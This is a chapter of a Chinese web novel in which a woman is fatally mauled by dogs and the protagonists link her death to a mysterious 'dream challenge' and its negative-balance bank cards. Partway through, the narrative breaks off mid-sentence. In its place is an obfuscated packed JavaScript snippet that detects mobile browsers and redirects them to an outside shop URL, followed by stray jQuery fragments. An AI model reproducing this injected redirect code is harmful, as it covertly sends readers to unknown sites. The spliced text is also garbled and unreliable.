20. 第 20 章
    方时茵走上前去查看情况,发现并非人在虐待狗,而是狗在疯狂地咬人!

    现场,女人正被五只狂吠的疯狗团团围住,其中一只体型较大的狗尤为凶狠,正不顾一切地向她扑去,张开血盆大口企图撕咬。

    被疯狗攻击的女人用手提包作为防护,但手提包很快就被咬破,包内物品散落一地。

    几名男子手持扫把,试图驱赶这些疯狂的恶犬。

    体型较大的领头狗专注于攻击女性,其余四只则对周围的群众狂吠不止,场面十分混乱。

    众人从未见过狗类如此失控,着实令人恐慌。就连拿着扫把的那几名男子,面对处于如此疯狂状态的狗,也不禁心生畏惧。

    一张卡片从被咬破的手提包中掉落出来,那是一张带有余额显示屏的银行卡。

    在模糊的光影中,隐约可见那张银行卡上的余额显示为负数,令人咋舌。

    当方时茵想要靠近一些,以便能更清晰地看清那张掉落的银行卡时,突然有人从后边猛地一拽,把她从里边拉了出来。

    方时茵惊讶地回头,看向那个紧紧抓住自己手臂的人。

    “詹之逸?”

    詹之逸拉着她远离那群疯狗,同时嘴里说着:“危险。”

    一群失控的疯狗,对过往行人构成了严重的安全威胁,警方迅速响应并赶到现场。

    这些疯狗表现得异常凶猛,难以被有效控制。

    状况紧急,警方立即迅速疏散人群,并决定采取更为坚决的措施以保障公众安全——对疯狗进行枪击。

    随着枪声响起,五只疯狗纷纷应声倒地。

    然而,那名被疯狗袭击的女人已经遭受了严重的伤害,身体被咬得血肉模糊。

    围观人群目睹了她遍体鳞伤的模样,眼睛的视线恨不得能自动打上马赛克,以减轻这残酷画面带来的冲击。

    一个活生生的人,就这样被狗当街咬死了。

    这血腥的场面,方时茵本能地紧闭双眼,身体里不由自主地涌起一股恶心感,强烈的呕吐感涌上喉头。

    詹之逸见状,温柔地轻拍着她的背部。

    经过一番干呕,什么也没有吐出来,只是心中的不适难以平息。

    “好点了吗?”詹之逸仍轻轻拍着她的脊背。

    方时茵脸色煞白一片,响起沙哑而颤抖的声音:“你怎么在这?”

    “我刚才在马路对面,看到一个人影很像你,就过来确认一下。”詹之逸环顾了一下四周,“那有家便利店,过去休息一会儿吧。”

    走进便利店,两人来到窗边休息区坐下。詹之逸随即去买了一瓶矿泉水,细心地将瓶盖拧松递给方时茵。

    “你刚才离那群疯狗这么近,很危险的。”

    方时茵眼里无神,目光透过面前的落地玻璃窗,眼里没有特定的焦点,缓缓开口:

    “刚才那个女的,她好像也是梦境挑战者。我看到她掉落的银行卡,也有余额显示功能,模糊间看见余额显示为负数,所以才想要上前看清楚一些。”

    “昨天早上我看到一则新闻,里边提及到的男子,曾在我的梦里出现过。新闻里说他在出租屋内去世,目前看来没有他杀迹象,死因尚未明确。”

    “银行卡余额变成负数,真的会有生命危险。”

    刚才那几只疯狗看起来像是无主的野狗,它们对围观人群只是恶狠狠地狂吠,并没有要攻击的意图。但它们却像锁定了目标一般,只攻击那名女性。

    回想起这触目惊心的一幕,方时茵连忙喝了几口矿泉水,试图将涌上心头的恶心感与呕吐感压制下去。

    詹之逸凝眉,“这梦境挑战似乎比我们想象的更加复杂和危险,还是要小心为妙。”

    “你说,我们会一直这样,抱着生命危险一直挑战下去吗?”

    这是袁舒杭之前在高铁上向方时茵提出的问题,如今她将这个问题转而询问詹之逸。

    面对这样一个没有确定标准答案的问题,詹之逸没有直接回答,而是反问方时茵:“你相信命运吗?”

    方时茵脸上露出了几分疑惑的神情。

    他拿出手机,打开一款名为“答案之书”的小程序,让方时茵把问题输入进去,随后点击下方的“寻找答案”按钮。

    不一会儿,屏幕上缓缓浮现出一行字:有充分的理由保持乐观。

    “即使身处挑战与困境之中,乐观的人总能发现其中的希望与机遇。”詹之逸依据自己的理解,对“答案之书”给出的答案进行了一番阐释。

    “这个小程序……靠谱吗?”

    “嗯……这个嘛……”詹之逸的眼神飘忽了一下,“信则有,不信则无吧。”

    方时茵牵动了一下嘴角,之前血腥场面所带来的冲击感已渐渐消散。

    她感受到,似乎只要詹之逸陪伴在侧,那紧绷的神经就能自然而然地得到舒缓。

    这种感觉仿若周身被错综复杂、难以名状的绳结紧紧缠绕,那些绳结恰似沉重的枷锁,坚韧无比,即便锋利的刀剑亦无法将其割断,更别提轻易挣脱。

    他却毫不费力地解开了那些束缚的绳结,就好似长久以来困扰心灵的重重枷锁,在温柔的抚慰下逐一消散。

    两人走出便利店,先前那片血淋淋的现场,警务人员正细致地勘查着,一丝不苟地收集着相关证据。

    那位不幸的女人,则早已被救护车运离,送往了医院。

    叫了车回家,车辆平稳地停在了方时茵所居住的小区门口。随后,两人一同下车,詹之逸决定护送她安全到达家楼下。

    “五号我就要回余海了,时装秀那边还有些收尾工作需要处理。”詹之逸边走边说,“七号下午六点活动正式开始,我已经和活动主办方沟通好了,到时候你来了就联系我,我带你进场。”

    “嗯,我觉得那位模特可能找不到了。”方时茵依据这两次见到梦境挑战者死亡的事件,作出了这样的推断。

    在现实生活中,或许有众多的梦境挑战者,他们生活的地方并不局限于余海市,而是来自五湖四海。

    就像方时茵、詹之逸、袁舒杭、柳奇洺一样,他们并非余海市本地人,仅仅因为在余海市的盲盒餐厅用过一次餐,便成为了梦境挑战者。

    在梦中所见到的任何人,都有可能是来自不同地方的人。尤其是每逢假期,余海市作为旅游胜地,会吸引大量游客前来,其中或许就有去过盲盒餐厅的旅人。

    光是行州市这么小的一个城市,国庆假期期间餐饮业的客流量就如此庞大,那么作为大城市的余海市,其人流如织的景象更是可想而知。

    两人行至方时茵家楼下。

    方时茵停下脚步,拿出手机,说道:“我打算明天就回余海市。”接着便查看明天的高铁车次情况。

    詹之逸丈二和尚摸不着头脑:“怎么这么突然?”

    方时茵边滑动手机屏幕边解释:

    “你还记得柳奇洺提起过的吗?他是看到了宣传单去的盲盒餐厅。现在假期里游客众多,盲盒餐厅很可能借此机会再次发放宣传单,吸引更多的人去尝试盲盒美食。”

    “明天回去还算是假期中段,人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954491|146518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    流量应该不会太少,我们或许能撞上它营业的时候,去探个究竟。”

    “还好现在大家都处于假期旅游中,还有票能买。”

    方时茵毫不犹豫地准备购票。

    詹之逸急切地抬起手,悬在空中拍了个空,连忙阻止道:“等等,我和你一起回去。”

    “好不容易回家一趟,不多陪陪你的家人吗?我自己回去就可以。”

    “我在这里也没什么特别的事情要做,无非就是玩玩手机和老爸喝喝茶,还不如跟你一起回去。”

    方时茵点了点头:“好吧。”

    购买好次日返程的车票,两人互道“晚安”。

    回到家里,陈女士和老方正坐在客厅看电视。

    “我买好了回余海的高铁票,打算明天一早就回去。”方时茵说道。

    陈女士和老方闻言,面面相觑,在确认自己没有听错后,将目光投向他们的女儿,两人都愣了一下。

    陈女士不解:“这才回来没几天呢,怎么就急着要回去了?”

    “那个……我还有点工作上的事情需要处理。”方时茵的声音中带着一丝心虚。

    如果说实话,回去是因为想看一家餐饮店有没有开门营业,父母可能会觉得难以理解,甚至觉得有些荒唐。

    “明天几点啊?我送你去高铁站。”老方关切地问。

    “8点多,我先去整理一下行李。”说完,便转身回房间开始忙碌地收拾起来。

    一番整理之后,方时茵打开了“梦中人”的群聊,发送消息:[我已经见到两个梦境挑战者不幸离世了。]

    柳奇洺迅速回复:[什么时候?在哪里见的?]

    方时茵:[昨天刷到一新闻,一名无业男子在出租屋内去世,这个人我曾在梦里见过。]

    紧接着,她又发送了一条消息:[今晚,一个女人和我们有同样的银行卡,她在我眼前,被狗活活咬死。]

    柳奇洺半开玩笑地问:[尊嘟假嘟?]

    好在柳奇洺已经向身为老板的父亲索要了零花钱,他不仅还清了银行卡的欠款,还额外多存入了几万块钱。

    詹之逸:[是真的,今晚那个女的就是被疯狗攻击致死。]

    詹之逸注意到了这一点,显然这样的情况并不正常。

    狗类一般不会对人表现出如此强烈的攻击性,除非它们被训练或者受到某种刺激去攻击特定对象,抑或是感受到了极大的威胁。

    野狗在没有任何外界指示的情况下,无缘无故地只针对一个普通女性发狂。尽管有人试图用扫帚驱赶它们,但它们只是狂吠,并未对其他人发起攻击。

    那名女性显然不具备同时对五只狗构成威胁的能力,她的遭遇更像是在街头毫无预兆地遭到了疯狗的突然袭击。

    柳奇洺:[我觉得咱们都应该考虑买一份人身意外险,正好我有个亲戚是做保险销售的,如果你们有需要,可以随时联系我。]

    群聊陷入了沉寂,一片鸦雀无声。

    柳奇洺:[人呢?怎么没人说话了?]

    柳奇洺:[@袁舒杭,说话。]

    屏幕那头依旧没有任何回应,群聊继续保持着宁静。

    第二天一大早,方时茵被刺耳的闹钟声唤醒。幸运的是,一夜无梦,得以安眠。

    与詹之逸一同返回余海市后,两人先回到各自家中将行李收拾好,计划待到晚上用餐时分,再前往那家充满神秘的盲盒餐厅。

    在家中,方时茵拿起手机,开始搜索有关那名无业男子的新闻,急切地想知道他的死因。